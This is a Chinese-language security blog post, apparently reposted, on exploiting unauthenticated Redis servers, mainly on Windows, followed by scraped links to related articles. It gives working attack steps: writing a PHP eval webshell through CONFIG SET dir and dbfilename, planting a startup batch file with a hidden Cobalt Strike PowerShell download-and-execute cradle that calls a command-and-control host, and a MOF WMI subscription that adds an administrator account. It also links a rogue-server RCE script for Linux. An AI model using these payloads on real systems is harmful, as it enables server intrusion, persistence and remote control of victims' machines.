01

Redis未授权产生原因

1.redis绑定在0.0.0.0:6379默认端口,直接暴露在公网,无防火墙进行来源信任防护。

2.没有设置密码认证,可以免密远程登录redis服务

02

漏洞危害

1.信息泄露,攻击者可以恶意执行flushall清空数据

2.可以通过eval执行lua代码,或通过数据备份功能往磁盘写入后门文件

3.若以root身份运行,攻击者可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。

03

利用方式01-写入webshell

写入webshell

1.获取web绝对路径,直接写入webshell

redis-cli.exe -h redis-server] -p 6379redis redis-server> CONFIG SET dir c:/phpstudy/wwwOKredis redis-server> CONFIG SET dbfilename shell.phpOKredis redis-server> set x  “<?php  @eval($_POST['a']) ?>”OKredis redis-server> saveOK

直接访问shell.php即可

04

利用方式02-启动项写入

windows下的开机启动项的目录为

C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/

写入方式有很多,这里我们使用Cobalt Strike来进行演示

先启动CS服务端 ,命令如下:

root@kali:~/cobaltstrike4.1# ./teamserver csip 123456

在启动客户端,输入密码和地址

添加一个Listener 监听器

选择Attacks – Web Drive-By – Script Web Delivery,选择刚才添加的Listener

点击Launch之后生成如下代码

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://cs地址:80/a'))"

直接保存为1.bat即可

其中存在两个小细节,一个是由于dbfile本身是有内容的,因此命令要正常运行必须先换行,经过测试需要两个换行符rn才能正常运行,还有一个是由于本身执行命令中也有双引号,因此需要加入转义

redis-cli.exe -h 目标ip -p 6379 redis 目标ip:6379>config set dir “C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/“ OK redis 目标ip:6379> CONFIG SET dbfilename 1.bat OK redis 目标ip:6379>set x "/r/n/r/npowershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://csip:80/a'))"/r/n/r/n

注意这里的双引号要转义,windwos路径的start menu中间一个空格

OK redis 192.168.1.101:6379> save OK

查看服务器启动项,发现正常写入命令

重启目标机器,成功上线

05

利用方式03-写入mof

如果由于不能重启机器也无法获取web目录,想到Mof提权,环境限制只能为win2003。

简单描述一下mof提权的原理:

mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做”托管对象格式”其作用是每隔五秒就会去监控进程创建和死亡。其实就是有了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。

也就是说在`c:/windows/system32/wbem/mof/`目录下的mof文件会每5秒自动执行一次,这样就不需要重启机器就能获取权限了。

首先将如下代码保存为admin.txt文件:

#pragma namespace("\\.\root\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\Cimv2"; Name  = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa "Win32_LocalTime" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject("WScript.Shell")nWSH.run("net.exe user admin admin /add")"; }; instance of __FilterToConsumerBinding { Consumer   = $Consumer; Filter = $EventFilter; };

此处要执行的命令为添加名为admin的用户

然后执行

(echo -e "nn"; cat admin.txt; echo -e "nn") > foo.txt

切换到redis目录,运行如下命令

过一会就看到用户添加成功了。(本地测试一直未成功,写入mof文件夹成功,但是执行一直到bad文件夹里)

补充一个linux下的利用方式:

在2019年7月7日结束的WCTF2019 Final上,LC/BC的成员Pavel Toporkov在分享会上介绍了一种关于redis新版本的RCE利用方式

https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf

利用脚本如下

https://github.com/LoRexxar/redis-rogue-server

实战在生产环境下用还是会有很多问题的

1. redis数据量稍微大一点,写shell到文件之后,php因为文件太大是会拒绝执行的

2. Ubuntu,Debian写计划任务反弹无用

3. 写/etc/passwd会覆盖原有/etc/passwd,不可能改了再改回来

4. 生产环境下用`KEY *` 这样的命令直接炸

白泽Sec

技术就应该被共享。

学习,我们一直走在路上。

白阁投稿邮箱:

ByLibrary@163.com

白阁漏洞库:

www.bylibrary.cn

debian 访问 windows 共享_【续】windows环境redis未授权利用方式梳理相关推荐

  1. windows php cli 后台运行_【续】windows环境redis未授权利用方式梳理

    01 Redis未授权产生原因 1.redis绑定在0.0.0.0:6379默认端口,直接暴露在公网,无防火墙进行来源信任防护. 2.没有设置密码认证,可以免密远程登录redis服务 02 漏洞危害 ...

  2. Redis未授权访问漏洞(四)SSH key免密登录

    前言 系列文章 Redis未授权访问漏洞(一)先导篇 Redis未授权访问漏洞(二)Webshell提权篇 Redis未授权访问漏洞(三)Redis写入反弹连接定时任务 SSH key免密登录 实战实 ...

  3. 哪种修复redis未授权访问漏洞的方法是相对不安全的_关于Linux挖矿、DDOS等应急事件处置方法...

    前言 从去年六月份到现在做的应急响应.事件分析大大小小的做了数百个,主要遇到的有挖矿.DDoS.短信接口盗刷.用户接口泄漏.越权信息获取.挂黑页.删数据等.本文只针对自己做的应急响应中的挖矿和DDoS ...

  4. redis未授权访问漏洞环境搭建复现-ssh免密登录

    首先,安装redis 我是直接sudo apt-get redis 安装的 然后启动redis 直接找到/usr/bin目录下的redis-server和redis-cli 测试连接成功 因为我是腾讯 ...

  5. redis未授权访问getshell的方式

    redis简介 Redis是一个开源的使用ANSI C语言编写.遵守BSD协议.支持网络.可基于内存亦可持久化的日志型.Key-Value数据库 端口:6379 环境 kali =>192.16 ...

  6. api zoom 实现自动预定_ZoomEyeAPI批量抓取与Redis未授权访问

    介绍 Zoomeye是知道创宇开发的一款很厉害的搜索引擎,不过相对于传统的百度,它是用作搜索主机设备,web应用指纹.ZoomEye 支持公网设备指纹检索和 Web 指纹检索网站指纹包括应用名.版本. ...

  7. Redis未授权访问漏洞记录(端口:6379)

    目录 Redis 扫描 未授权登录以及利用 写入SSH公钥,进行远程登录 定时任务反弹shell 写入一句话木马 其它一句话木马 ​ 写入/etc/passwd文件 利用主从复制RCE ​ 本地Red ...

  8. redis 未授权访问详解

    一. 应用介绍 Redis是一个开源的使用ANSI C语言编写.支持网络.可基于内存亦可持久化的日志型. Key-Value数据库.和Memcached类似,它支持存储的value 类型相对更多,包括 ...

  9. Redis 未授权访问缺陷可轻易导致系统被黑

    Redis 未授权访问缺陷可轻易导致系统被黑 漏洞概要 Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在 ...

最新文章

  1. java23中设计模式——结构模式——Flyweight(享元)
  2. javascript --- 从数组中,找出比给定元素大一丁点的元素
  3. 短信认证方案,用手机短信进行上网认证如何实现?
  4. List和Set集合使用
  5. 阅读技巧训练课-配对题精讲
  6. 如何使用xp_cmdshell扩展过程
  7. post请求体 ajax,ajax的post请求 @RequestBody解析问题
  8. python21天打卡day4
  9. 嵌入式开发与C++开发的区别是什么?
  10. 谈天津地铁之为民服务
  11. Linux入门基础学习参考资料
  12. 基于Grafana的监控报警平台
  13. 贝勒大学计算机专业,贝勒大学(Baylor University)_贝勒大学申请条件_津桥留学【23年专注留学服务】...
  14. UNITY3D自学(六)-- unity视频播放的Quicktime问题
  15. 程序和进程和线程的区别是什么?
  16. Karplus-Strong Algorithm 弦乐器模拟 吉他弦乐器发声原理 泛音 乐理概述
  17. php淘金农场源码,2018Thinkphp仿淘金农场开源源码统H5农场复利源码带商城仓库商店...
  18. stm32f4xx_it.c: Error: C3065E: type of input file 'DRIVER' unknown 解决办法
  19. 【javaEE】网络原理(传输层Part2)
  20. 2022-2028年中国祭祀用品行业市场竞争状况及发展趋向分析报告

热门文章

  1. 云计算技术的跃进睿云智合专业先进水平
  2. 源于十年来的点滴积累——《变革中的思索》印行出版
  3. 基础正则表达式介绍与练习
  4. XForum 里用 Filter 编程实现安全访问控制
  5. 深入理解InnoDB(5)-文件系统
  6. 了解React Native中的不同JavaScript环境
  7. 宣布JavaScript 2017状况调查
  8. 微信sdk swift版_使用Swift 4的iOS版Google Maps SDK终极指南
  9. 贝叶斯 定理_贝叶斯定理实际上是一个直观的分数
  10. 接facebook广告_Facebook广告分析